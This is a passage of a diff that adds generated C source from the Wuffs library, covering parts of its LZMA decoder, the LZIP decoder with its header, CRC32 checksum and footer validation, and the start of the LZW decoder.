uint8_t* io0_v_w WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ uint8_t* io1_v_w WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ uint8_t* io2_v_w WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ wuffs_base__status v_status = wuffs_base__make_status(NULL); ++ ++ uint32_t coro_susp_point = self->private_impl.p_decode_optional_end_of_stream; ++ switch (coro_susp_point) { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; ++ ++ self->private_impl.f_stashed_pos_end = 18446744073709551615u; ++ while (true) { ++ { ++ wuffs_base__io_buffer* o_0_v_w = v_w; ++ uint8_t* o_0_iop_v_w = iop_v_w; ++ uint8_t* o_0_io0_v_w = io0_v_w; ++ uint8_t* o_0_io1_v_w = io1_v_w; ++ uint8_t* o_0_io2_v_w = io2_v_w; ++ v_w = wuffs_private_impl__io_writer__set( ++ &u_w, ++ &iop_v_w, ++ &io0_v_w, ++ &io1_v_w, ++ &io2_v_w, ++ wuffs_base__utility__empty_slice_u8(), ++ 0u); ++ { ++ wuffs_base__status t_0 = wuffs_lzma__decoder__decode_bitstream_slow(self, v_w, a_src, a_workbuf); ++ v_status = t_0; ++ } ++ v_w = o_0_v_w; ++ iop_v_w = o_0_iop_v_w; ++ io0_v_w = o_0_io0_v_w; ++ io1_v_w = o_0_io1_v_w; ++ io2_v_w = o_0_io2_v_w; ++ } ++ if (wuffs_base__status__is_ok(&v_status)) { ++ break; ++ } else if (v_status.repr == wuffs_base__suspension__short_write) { ++ status = wuffs_base__make_status(wuffs_lzma__error__bad_bitstream_trailer); ++ goto exit; ++ } ++ status = v_status; ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(1); ++ } ++ self->private_impl.f_stashed_pos_end = self->private_impl.f_stashed_pos; ++ ++ ok: ++ self->private_impl.p_decode_optional_end_of_stream = 0; ++ goto exit; ++ } ++ ++ goto suspend; ++ suspend: ++ self->private_impl.p_decode_optional_end_of_stream = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; ++ ++ goto exit; ++ exit: ++ return status; ++} ++ ++// -------- func lzma.decoder.initialize_dict ++ ++WUFFS_BASE__GENERATED_C_CODE ++static wuffs_base__empty_struct ++wuffs_lzma__decoder__initialize_dict( ++ wuffs_lzma__decoder* self) { ++ self->private_impl.f_dict_workbuf_index = 0u; ++ self->private_impl.f_dict_seen = 0u; ++ self->private_impl.f_stashed_bytes[0u] = 0u; ++ self->private_impl.f_stashed_bytes[1u] = 0u; ++ self->private_impl.f_stashed_pos = 0u; ++ return wuffs_base__make_empty_struct(); ++} ++ ++// -------- func lzma.decoder.initialize_probs ++ ++WUFFS_BASE__GENERATED_C_CODE ++static wuffs_base__empty_struct ++wuffs_lzma__decoder__initialize_probs( ++ wuffs_lzma__decoder* self) { ++ uint32_t v_i = 0; ++ uint32_t v_j = 0; ++ ++ v_i = 0u; ++ while (v_i < 192u) { ++ self->private_data.f_probs_ao00[v_i] = 1024u; ++ v_i += 1u; ++ } ++ v_i = 0u; ++ while (v_i < 12u) { ++ self->private_data.f_probs_ao20[v_i] = 1024u; ++ v_i += 1u; ++ } ++ v_i = 0u; ++ while (v_i < 12u) { ++ self->private_data.f_probs_ao40[v_i] = 1024u; ++ v_i += 1u; ++ } ++ v_i = 0u; ++ while (v_i < 192u) { ++ self->private_data.f_probs_ao41[v_i] = 1024u; ++ v_i += 1u; ++ } ++ v_i = 0u; ++ while (v_i < 12u) { ++ self->private_data.f_probs_ao60[v_i] = 1024u; ++ v_i += 1u; ++ } ++ v_i = 0u; ++ while (v_i < 12u) { ++ self->private_data.f_probs_ao63[v_i] = 1024u; ++ v_i += 1u; ++ } ++ v_i = 0u; ++ while (v_i < 16u) { ++ v_j = 0u; ++ while (v_j < 8u) { ++ self->private_data.f_probs_match_len_low[v_i][v_j] = 1024u; ++ v_j += 1u; ++ } ++ v_i += 1u; ++ } ++ v_i = 0u; ++ while (v_i < 16u) { ++ v_j = 0u; ++ while (v_j < 8u) { ++ self->private_data.f_probs_match_len_mid[v_i][v_j] = 1024u; ++ v_j += 1u; ++ } ++ v_i += 1u; ++ } ++ v_i = 0u; ++ while (v_i < 256u) { ++ self->private_data.f_probs_match_len_high[0u][v_i] = 1024u; ++ v_i += 1u; ++ } ++ v_i = 0u; ++ while (v_i < 16u) { ++ v_j = 0u; ++ while (v_j < 8u) { ++ self->private_data.f_probs_longrep_len_low[v_i][v_j] = 1024u; ++ v_j += 1u; ++ } ++ v_i += 1u; ++ } ++ v_i = 0u; ++ while (v_i < 16u) { ++ v_j = 0u; ++ while (v_j < 8u) { ++ self->private_data.f_probs_longrep_len_mid[v_i][v_j] = 1024u; ++ v_j += 1u; ++ } ++ v_i += 1u; ++ } ++ v_i = 0u; ++ while (v_i < 256u) { ++ self->private_data.f_probs_longrep_len_high[0u][v_i] = 1024u; ++ v_i += 1u; ++ } ++ v_i = 0u; ++ while (v_i < 4u) { ++ v_j = 0u; ++ while (v_j < 64u) { ++ self->private_data.f_probs_slot[v_i][v_j] = 1024u; ++ v_j += 1u; ++ } ++ v_i += 1u; ++ } ++ v_i = 0u; ++ while (v_i < 128u) { ++ self->private_data.f_probs_small_dist[v_i] = 1024u; ++ v_i += 1u; ++ } ++ v_i = 0u; ++ while (v_i < 16u) { ++ self->private_data.f_probs_large_dist[v_i] = 1024u; ++ v_i += 1u; ++ } ++ v_i = 0u; ++ while (v_i < 16u) { ++ v_j = 0u; ++ while (v_j < 768u) { ++ self->private_data.f_probs_lit[v_i][v_j] = 1024u; ++ v_j += 1u; ++ } ++ v_i += 1u; ++ } ++ self->private_impl.f_stashed_state = 0u; ++ self->private_impl.f_stashed_rep0 = 0u; ++ self->private_impl.f_stashed_rep1 = 0u; ++ self->private_impl.f_stashed_rep2 = 0u; ++ self->private_impl.f_stashed_rep3 = 0u; ++ return wuffs_base__make_empty_struct(); ++} ++ ++#endif // !defined(WUFFS_CONFIG__MODULES) || defined(WUFFS_CONFIG__MODULE__LZMA) ++ ++#if !defined(WUFFS_CONFIG__MODULES) || defined(WUFFS_CONFIG__MODULE__LZIP) ++ ++// ---------------- Status Codes Implementations ++ ++const char wuffs_lzip__error__bad_checksum[] = "#lzip: bad checksum"; ++const char wuffs_lzip__error__bad_footer[] = "#lzip: bad footer"; ++const char wuffs_lzip__error__bad_header[] = "#lzip: bad header"; ++const char wuffs_lzip__error__truncated_input[] = "#lzip: truncated input"; ++ ++// ---------------- Private Consts ++ ++// ---------------- Private Initializer Prototypes ++ ++// ---------------- Private Function Prototypes ++ ++WUFFS_BASE__GENERATED_C_CODE ++static wuffs_base__status ++wuffs_lzip__decoder__do_transform_io( ++ wuffs_lzip__decoder* self, ++ wuffs_base__io_buffer* a_dst, ++ wuffs_base__io_buffer* a_src, ++ wuffs_base__slice_u8 a_workbuf); ++ ++// ---------------- VTables ++ ++const wuffs_base__io_transformer__func_ptrs ++wuffs_lzip__decoder__func_ptrs_for__wuffs_base__io_transformer = { ++ (wuffs_base__optional_u63(*)(const void*))(&wuffs_lzip__decoder__dst_history_retain_length), ++ (uint64_t(*)(const void*, ++ uint32_t))(&wuffs_lzip__decoder__get_quirk), ++ (wuffs_base__status(*)(void*, ++ uint32_t, ++ uint64_t))(&wuffs_lzip__decoder__set_quirk), ++ (wuffs_base__status(*)(void*, ++ wuffs_base__io_buffer*, ++ wuffs_base__io_buffer*, ++ wuffs_base__slice_u8))(&wuffs_lzip__decoder__transform_io), ++ (wuffs_base__range_ii_u64(*)(const void*))(&wuffs_lzip__decoder__workbuf_len), ++}; ++ ++// ---------------- Initializer Implementations ++ ++wuffs_base__status WUFFS_BASE__WARN_UNUSED_RESULT ++wuffs_lzip__decoder__initialize( ++ wuffs_lzip__decoder* self, ++ size_t sizeof_star_self, ++ uint64_t wuffs_version, ++ uint32_t options){ ++ if (!self) { ++ return wuffs_base__make_status(wuffs_base__error__bad_receiver); ++ } ++ if (sizeof(*self) != sizeof_star_self) { ++ return wuffs_base__make_status(wuffs_base__error__bad_sizeof_receiver); ++ } ++ if (((wuffs_version >> 32) != WUFFS_VERSION_MAJOR) || ++ (((wuffs_version >> 16) & 0xFFFF) > WUFFS_VERSION_MINOR)) { ++ return wuffs_base__make_status(wuffs_base__error__bad_wuffs_version); ++ } ++ ++ if ((options & WUFFS_INITIALIZE__ALREADY_ZEROED) != 0) { ++ // The whole point of this if-check is to detect an uninitialized *self. ++ // We disable the warning on GCC. Clang-5.0 does not have this warning. ++#if !defined(__clang__) && defined(__GNUC__) ++#pragma GCC diagnostic push ++#pragma GCC diagnostic ignored "-Wmaybe-uninitialized" ++#endif ++ if (self->private_impl.magic != 0) { ++ return wuffs_base__make_status(wuffs_base__error__initialize_falsely_claimed_already_zeroed); ++ } ++#if !defined(__clang__) && defined(__GNUC__) ++#pragma GCC diagnostic pop ++#endif ++ } else { ++ if ((options & WUFFS_INITIALIZE__LEAVE_INTERNAL_BUFFERS_UNINITIALIZED) == 0) { ++ memset(self, 0, sizeof(*self)); ++ options |= WUFFS_INITIALIZE__ALREADY_ZEROED; ++ } else { ++ memset(&(self->private_impl), 0, sizeof(self->private_impl)); ++ } ++ } ++ ++ { ++ wuffs_base__status z = wuffs_crc32__ieee_hasher__initialize( ++ &self->private_data.f_crc32, sizeof(self->private_data.f_crc32), WUFFS_VERSION, options); ++ if (z.repr) { ++ return z; ++ } ++ } ++ { ++ wuffs_base__status z = wuffs_lzma__decoder__initialize( ++ &self->private_data.f_lzma, sizeof(self->private_data.f_lzma), WUFFS_VERSION, options); ++ if (z.repr) { ++ return z; ++ } ++ } ++ self->private_impl.magic = WUFFS_BASE__MAGIC; ++ self->private_impl.vtable_for__wuffs_base__io_transformer.vtable_name = ++ wuffs_base__io_transformer__vtable_name; ++ self->private_impl.vtable_for__wuffs_base__io_transformer.function_pointers = ++ (const void*)(&wuffs_lzip__decoder__func_ptrs_for__wuffs_base__io_transformer); ++ return wuffs_base__make_status(NULL); ++} ++ ++wuffs_lzip__decoder* ++wuffs_lzip__decoder__alloc(void) { ++ wuffs_lzip__decoder* x = ++ (wuffs_lzip__decoder*)(calloc(1, sizeof(wuffs_lzip__decoder))); ++ if (!x) { ++ return NULL; ++ } ++ if (wuffs_lzip__decoder__initialize( ++ x, sizeof(wuffs_lzip__decoder), WUFFS_VERSION, WUFFS_INITIALIZE__ALREADY_ZEROED).repr) { ++ free(x); ++ return NULL; ++ } ++ return x; ++} ++ ++size_t ++sizeof__wuffs_lzip__decoder(void) { ++ return sizeof(wuffs_lzip__decoder); ++} ++ ++// ---------------- Function Implementations ++ ++// -------- func lzip.decoder.get_quirk ++ ++WUFFS_BASE__GENERATED_C_CODE ++WUFFS_BASE__MAYBE_STATIC uint64_t ++wuffs_lzip__decoder__get_quirk( ++ const wuffs_lzip__decoder* self, ++ uint32_t a_key) { ++ if (!self) { ++ return 0; ++ } ++ if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && ++ (self->private_impl.magic != WUFFS_BASE__DISABLED)) { ++ return 0; ++ } ++ ++ if ((a_key == 1u) && self->private_impl.f_ignore_checksum) { ++ return 1u; ++ } ++ return 0u; ++} ++ ++// -------- func lzip.decoder.set_quirk ++ ++WUFFS_BASE__GENERATED_C_CODE ++WUFFS_BASE__MAYBE_STATIC wuffs_base__status ++wuffs_lzip__decoder__set_quirk( ++ wuffs_lzip__decoder* self, ++ uint32_t a_key, ++ uint64_t a_value) { ++ if (!self) { ++ return wuffs_base__make_status(wuffs_base__error__bad_receiver); ++ } ++ if (self->private_impl.magic != WUFFS_BASE__MAGIC) { ++ return wuffs_base__make_status( ++ (self->private_impl.magic == WUFFS_BASE__DISABLED) ++ ? wuffs_base__error__disabled_by_previous_error ++ : wuffs_base__error__initialize_not_called); ++ } ++ ++ if (a_key == 1u) { ++ self->private_impl.f_ignore_checksum = (a_value > 0u); ++ return wuffs_base__make_status(NULL); ++ } ++ return wuffs_base__make_status(wuffs_base__error__unsupported_option); ++} ++ ++// -------- func lzip.decoder.dst_history_retain_length ++ ++WUFFS_BASE__GENERATED_C_CODE ++WUFFS_BASE__MAYBE_STATIC wuffs_base__optional_u63 ++wuffs_lzip__decoder__dst_history_retain_length( ++ const wuffs_lzip__decoder* self) { ++ if (!self) { ++ return wuffs_base__utility__make_optional_u63(false, 0u); ++ } ++ if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && ++ (self->private_impl.magic != WUFFS_BASE__DISABLED)) { ++ return wuffs_base__utility__make_optional_u63(false, 0u); ++ } ++ ++ return wuffs_lzma__decoder__dst_history_retain_length(&self->private_data.f_lzma); ++} ++ ++// -------- func lzip.decoder.workbuf_len ++ ++WUFFS_BASE__GENERATED_C_CODE ++WUFFS_BASE__MAYBE_STATIC wuffs_base__range_ii_u64 ++wuffs_lzip__decoder__workbuf_len( ++ const wuffs_lzip__decoder* self) { ++ if (!self) { ++ return wuffs_base__utility__empty_range_ii_u64(); ++ } ++ if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && ++ (self->private_impl.magic != WUFFS_BASE__DISABLED)) { ++ return wuffs_base__utility__empty_range_ii_u64(); ++ } ++ ++ return wuffs_lzma__decoder__workbuf_len(&self->private_data.f_lzma); ++} ++ ++// -------- func lzip.decoder.transform_io ++ ++WUFFS_BASE__GENERATED_C_CODE ++WUFFS_BASE__MAYBE_STATIC wuffs_base__status ++wuffs_lzip__decoder__transform_io( ++ wuffs_lzip__decoder* self, ++ wuffs_base__io_buffer* a_dst, ++ wuffs_base__io_buffer* a_src, ++ wuffs_base__slice_u8 a_workbuf) { ++ if (!self) { ++ return wuffs_base__make_status(wuffs_base__error__bad_receiver); ++ } ++ if (self->private_impl.magic != WUFFS_BASE__MAGIC) { ++ return wuffs_base__make_status( ++ (self->private_impl.magic == WUFFS_BASE__DISABLED) ++ ? wuffs_base__error__disabled_by_previous_error ++ : wuffs_base__error__initialize_not_called); ++ } ++ if (!a_dst || !a_src) { ++ self->private_impl.magic = WUFFS_BASE__DISABLED; ++ return wuffs_base__make_status(wuffs_base__error__bad_argument); ++ } ++ if ((self->private_impl.active_coroutine != 0) && ++ (self->private_impl.active_coroutine != 1)) { ++ self->private_impl.magic = WUFFS_BASE__DISABLED; ++ return wuffs_base__make_status(wuffs_base__error__interleaved_coroutine_calls); ++ } ++ self->private_impl.active_coroutine = 0; ++ wuffs_base__status status = wuffs_base__make_status(NULL); ++ ++ wuffs_base__status v_status = wuffs_base__make_status(NULL); ++ ++ uint32_t coro_susp_point = self->private_impl.p_transform_io; ++ switch (coro_susp_point) { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; ++ ++ while (true) { ++ { ++ wuffs_base__status t_0 = wuffs_lzip__decoder__do_transform_io(self, a_dst, a_src, a_workbuf); ++ v_status = t_0; ++ } ++ if ((v_status.repr == wuffs_base__suspension__short_read) && (a_src && a_src->meta.closed)) { ++ status = wuffs_base__make_status(wuffs_lzip__error__truncated_input); ++ goto exit; ++ } ++ status = v_status; ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(1); ++ } ++ ++ ok: ++ self->private_impl.p_transform_io = 0; ++ goto exit; ++ } ++ ++ goto suspend; ++ suspend: ++ self->private_impl.p_transform_io = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; ++ self->private_impl.active_coroutine = wuffs_base__status__is_suspension(&status) ? 1 : 0; ++ ++ goto exit; ++ exit: ++ if (wuffs_base__status__is_error(&status)) { ++ self->private_impl.magic = WUFFS_BASE__DISABLED; ++ } ++ return status; ++} ++ ++// -------- func lzip.decoder.do_transform_io ++ ++WUFFS_BASE__GENERATED_C_CODE ++static wuffs_base__status ++wuffs_lzip__decoder__do_transform_io( ++ wuffs_lzip__decoder* self, ++ wuffs_base__io_buffer* a_dst, ++ wuffs_base__io_buffer* a_src, ++ wuffs_base__slice_u8 a_workbuf) { ++ wuffs_base__status status = wuffs_base__make_status(NULL); ++ ++ uint8_t v_c8 = 0; ++ uint32_t v_c32 = 0; ++ uint64_t v_c64 = 0; ++ uint64_t v_dmark = 0; ++ uint64_t v_smark = 0; ++ wuffs_base__status v_status = wuffs_base__make_status(NULL); ++ uint32_t v_checksum_want = 0; ++ uint32_t v_checksum_have = 0; ++ uint64_t v_size_want = 0; ++ ++ uint8_t* iop_a_dst = NULL; ++ uint8_t* io0_a_dst WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ uint8_t* io1_a_dst WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ uint8_t* io2_a_dst WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ if (a_dst && a_dst->data.ptr) { ++ io0_a_dst = a_dst->data.ptr; ++ io1_a_dst = io0_a_dst + a_dst->meta.wi; ++ iop_a_dst = io1_a_dst; ++ io2_a_dst = io0_a_dst + a_dst->data.len; ++ if (a_dst->meta.closed) { ++ io2_a_dst = iop_a_dst; ++ } ++ } ++ const uint8_t* iop_a_src = NULL; ++ const uint8_t* io0_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ const uint8_t* io1_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ const uint8_t* io2_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ if (a_src && a_src->data.ptr) { ++ io0_a_src = a_src->data.ptr; ++ io1_a_src = io0_a_src + a_src->meta.ri; ++ iop_a_src = io1_a_src; ++ io2_a_src = io0_a_src + a_src->meta.wi; ++ } ++ ++ uint32_t coro_susp_point = self->private_impl.p_do_transform_io; ++ switch (coro_susp_point) { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; ++ ++ while (true) { ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(1); ++ uint64_t t_0; ++ if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 5)) { ++ t_0 = ((uint64_t)(wuffs_base__peek_u40le__no_bounds_check(iop_a_src))); ++ iop_a_src += 5; ++ } else { ++ self->private_data.s_do_transform_io.scratch = 0; ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(2); ++ while (true) { ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint64_t* scratch = &self->private_data.s_do_transform_io.scratch; ++ uint32_t num_bits_0 = ((uint32_t)(*scratch >> 56)); ++ *scratch <<= 8; ++ *scratch >>= 8; ++ *scratch |= ((uint64_t)(*iop_a_src++)) << num_bits_0; ++ if (num_bits_0 == 32) { ++ t_0 = ((uint64_t)(*scratch)); ++ break; ++ } ++ num_bits_0 += 8u; ++ *scratch |= ((uint64_t)(num_bits_0)) << 56; ++ } ++ } ++ v_c64 = t_0; ++ } ++ if (v_c64 != 5641951820u) { ++ status = wuffs_base__make_status(wuffs_lzip__error__bad_header); ++ goto exit; ++ } ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(3); ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint8_t t_1 = *iop_a_src++; ++ v_c8 = t_1; ++ } ++ v_status = wuffs_lzma__decoder__set_quirk(&self->private_data.f_lzma, 1348001793u, (1u | (((uint64_t)(v_c8)) << 8u))); ++ if ( ! wuffs_base__status__is_ok(&v_status)) { ++ if (v_status.repr == wuffs_base__error__bad_argument) { ++ status = wuffs_base__make_status(wuffs_lzip__error__bad_header); ++ goto exit; ++ } ++ status = v_status; ++ if (wuffs_base__status__is_error(&status)) { ++ goto exit; ++ } else if (wuffs_base__status__is_suspension(&status)) { ++ status = wuffs_base__make_status(wuffs_base__error__cannot_return_a_suspension); ++ goto exit; ++ } ++ goto ok; ++ } ++ self->private_impl.f_ssize_have = 0u; ++ self->private_impl.f_dsize_have = 0u; ++ wuffs_lzma__decoder__set_quirk(&self->private_data.f_lzma, 1348001792u, 1u); ++ while (true) { ++ v_dmark = ((uint64_t)(iop_a_dst - io0_a_dst)); ++ v_smark = ((uint64_t)(iop_a_src - io0_a_src)); ++ { ++ if (a_dst) { ++ a_dst->meta.wi = ((size_t)(iop_a_dst - a_dst->data.ptr)); ++ } ++ if (a_src) { ++ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); ++ } ++ wuffs_base__status t_2 = wuffs_lzma__decoder__transform_io(&self->private_data.f_lzma, a_dst, a_src, a_workbuf); ++ v_status = t_2; ++ if (a_dst) { ++ iop_a_dst = a_dst->data.ptr + a_dst->meta.wi; ++ } ++ if (a_src) { ++ iop_a_src = a_src->data.ptr + a_src->meta.ri; ++ } ++ } ++ self->private_impl.f_ssize_have += wuffs_private_impl__io__count_since(v_smark, ((uint64_t)(iop_a_src - io0_a_src))); ++ self->private_impl.f_dsize_have += wuffs_private_impl__io__count_since(v_dmark, ((uint64_t)(iop_a_dst - io0_a_dst))); ++ if ( ! self->private_impl.f_ignore_checksum) { ++ wuffs_crc32__ieee_hasher__update(&self->private_data.f_crc32, wuffs_private_impl__io__since(v_dmark, ((uint64_t)(iop_a_dst - io0_a_dst)), io0_a_dst)); ++ } ++ if (wuffs_base__status__is_ok(&v_status)) { ++ break; ++ } ++ status = v_status; ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(4); ++ } ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(5); ++ uint32_t t_3; ++ if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 4)) { ++ t_3 = wuffs_base__peek_u32le__no_bounds_check(iop_a_src); ++ iop_a_src += 4; ++ } else { ++ self->private_data.s_do_transform_io.scratch = 0; ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(6); ++ while (true) { ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint64_t* scratch = &self->private_data.s_do_transform_io.scratch; ++ uint32_t num_bits_3 = ((uint32_t)(*scratch >> 56)); ++ *scratch <<= 8; ++ *scratch >>= 8; ++ *scratch |= ((uint64_t)(*iop_a_src++)) << num_bits_3; ++ if (num_bits_3 == 24) { ++ t_3 = ((uint32_t)(*scratch)); ++ break; ++ } ++ num_bits_3 += 8u; ++ *scratch |= ((uint64_t)(num_bits_3)) << 56; ++ } ++ } ++ v_checksum_want = t_3; ++ } ++ if ( ! self->private_impl.f_ignore_checksum) { ++ v_checksum_have = wuffs_crc32__ieee_hasher__checksum_u32(&self->private_data.f_crc32); ++ if (v_checksum_have != v_checksum_want) { ++ status = wuffs_base__make_status(wuffs_lzip__error__bad_checksum); ++ goto exit; ++ } ++ } ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(7); ++ uint64_t t_4; ++ if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 8)) { ++ t_4 = wuffs_base__peek_u64le__no_bounds_check(iop_a_src); ++ iop_a_src += 8; ++ } else { ++ self->private_data.s_do_transform_io.scratch = 0; ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(8); ++ while (true) { ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint64_t* scratch = &self->private_data.s_do_transform_io.scratch; ++ uint32_t num_bits_4 = ((uint32_t)(*scratch >> 56)); ++ *scratch <<= 8; ++ *scratch >>= 8; ++ *scratch |= ((uint64_t)(*iop_a_src++)) << num_bits_4; ++ if (num_bits_4 == 56) { ++ t_4 = ((uint64_t)(*scratch)); ++ break; ++ } ++ num_bits_4 += 8u; ++ *scratch |= ((uint64_t)(num_bits_4)) << 56; ++ } ++ } ++ v_size_want = t_4; ++ } ++ if (self->private_impl.f_dsize_have != v_size_want) { ++ status = wuffs_base__make_status(wuffs_lzip__error__bad_footer); ++ goto exit; ++ } ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(9); ++ uint64_t t_5; ++ if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 8)) { ++ t_5 = wuffs_base__peek_u64le__no_bounds_check(iop_a_src); ++ iop_a_src += 8; ++ } else { ++ self->private_data.s_do_transform_io.scratch = 0; ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(10); ++ while (true) { ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint64_t* scratch = &self->private_data.s_do_transform_io.scratch; ++ uint32_t num_bits_5 = ((uint32_t)(*scratch >> 56)); ++ *scratch <<= 8; ++ *scratch >>= 8; ++ *scratch |= ((uint64_t)(*iop_a_src++)) << num_bits_5; ++ if (num_bits_5 == 56) { ++ t_5 = ((uint64_t)(*scratch)); ++ break; ++ } ++ num_bits_5 += 8u; ++ *scratch |= ((uint64_t)(num_bits_5)) << 56; ++ } ++ } ++ v_size_want = t_5; ++ } ++ if ((v_size_want < 26u) || (2251799813685248u < v_size_want)) { ++ status = wuffs_base__make_status(wuffs_lzip__error__bad_footer); ++ goto exit; ++ } else if (self->private_impl.f_ssize_have != (v_size_want - 26u)) { ++ status = wuffs_base__make_status(wuffs_lzip__error__bad_footer); ++ goto exit; ++ } ++ while (((uint64_t)(io2_a_src - iop_a_src)) < 4u) { ++ if (a_src && a_src->meta.closed) { ++ goto label__outer__break; ++ } ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(11); ++ } ++ v_c32 = wuffs_base__peek_u32le__no_bounds_check(iop_a_src); ++ if (v_c32 != 1346984524u) { ++ break; ++ } ++ wuffs_private_impl__ignore_status(wuffs_crc32__ieee_hasher__initialize(&self->private_data.f_crc32, ++ sizeof (wuffs_crc32__ieee_hasher), WUFFS_VERSION, WUFFS_INITIALIZE__LEAVE_INTERNAL_BUFFERS_UNINITIALIZED)); ++ wuffs_private_impl__ignore_status(wuffs_lzma__decoder__initialize(&self->private_data.f_lzma, ++ sizeof (wuffs_lzma__decoder), WUFFS_VERSION, WUFFS_INITIALIZE__LEAVE_INTERNAL_BUFFERS_UNINITIALIZED)); ++ } ++ label__outer__break:; ++ ++ ok: ++ self->private_impl.p_do_transform_io = 0; ++ goto exit; ++ } ++ ++ goto suspend; ++ suspend: ++ self->private_impl.p_do_transform_io = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; ++ ++ goto exit; ++ exit: ++ if (a_dst && a_dst->data.ptr) { ++ a_dst->meta.wi = ((size_t)(iop_a_dst - a_dst->data.ptr)); ++ } ++ if (a_src && a_src->data.ptr) { ++ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); ++ } ++ ++ return status; ++} ++ ++#endif // !defined(WUFFS_CONFIG__MODULES) || defined(WUFFS_CONFIG__MODULE__LZIP) ++ ++#if !defined(WUFFS_CONFIG__MODULES) || defined(WUFFS_CONFIG__MODULE__LZW) ++ ++// ---------------- Status Codes Implementations ++ ++const char wuffs_lzw__error__bad_code[] = "#lzw: bad code"; ++const char wuffs_lzw__error__truncated_input[] = "#lzw: truncated input"; ++const char wuffs_lzw__error__internal_error_inconsistent_i_o[] = "#lzw: internal error: inconsistent I/O"; ++ ++// ---------------- Private Consts ++ ++#define WUFFS_LZW__QUIRKS_BASE 1348378624u ++ ++// ---------------- Private Initializer Prototypes ++ ++// ---------------- Private Function Prototypes ++ ++WUFFS_BASE__GENERATED_C_CODE ++static wuffs_base__empty_struct ++wuffs_lzw__decoder__read_from( ++ wuffs_lzw__decoder* self, ++ wuffs_base__io_buffer* a_src); ++ ++WUFFS_BASE__GENERATED_C_CODE ++static wuffs_base__status ++wuffs_lzw__decoder__write_to( ++ wuffs_lzw__decoder* self, ++ wuffs_base__io_buffer* a_dst); ++ ++// ---------------- VTables ++ ++const wuffs_base__io_transformer__func_ptrs ++wuffs_lzw__decoder__func_ptrs_for__wuffs_base__io_transformer = { ++ (wuffs_base__optional_u63(*)(const void*))(&wuffs_lzw__decoder__dst_history_retain_length), ++ (uint64_t(*)(const void*, ++ uint32_t))(&wuffs_lzw__decoder__get_quirk), ++ (wuffs_base__status(*)(void*, ++ uint32_t, ++ uint64_t))(&wuffs_lzw__decoder__set_quirk), ++ (wuffs_base__status(*)(void*, ++ wuffs_base__io_buffer*, ++ wuffs_base__io_buffer*, ++ wuffs_base__slice_u8))(&wuffs_lzw__decoder__transform_io), ++ (wuffs_base__range_ii_u64(*)(const void*))(&wuffs_lzw__decoder__workbuf_len), ++}; ++ ++// ---------------- Initializer Implementations ++ ++wuffs_base__status WUFFS_BASE__WARN_UNUSED_RESULT ++wuffs_lzw__decoder__initialize( ++ wuffs_lzw__decoder* self, ++ size_t sizeof_star_self, ++ uint64_t wuffs_version, ++ uint32_t options){ ++ if (!self) { ++ return wuffs_base__make_status(wuffs_base__error__bad_receiver); ++ } ++ if (sizeof(*self) != sizeof_star_self) { ++ return wuffs_base__make_status(wuffs_base__error__bad_sizeof_receiver); ++ } ++ if (((wuffs_version >> 32) != WUFFS_VERSION_MAJOR) || ++ (((wuffs_version >> 16) & 0xFFFF) > WUFFS_VERSION_MINOR)) { ++ return wuffs_base__make_status(wuffs_base__error__bad_wuffs_version); ++ } ++ ++ if ((options & WUFFS_INITIALIZE__ALREADY_ZEROED) != 0) { ++ // The whole point of this if-check is to detect an uninitialized *self. ++ // We disable the warning on GCC. Clang-5.0 does not have this warning. ++#if !defined(__clang__) && defined(__GNUC__) ++#pragma GCC diagnostic push ++#pragma GCC diagnostic ignored "-Wmaybe-uninitialized" 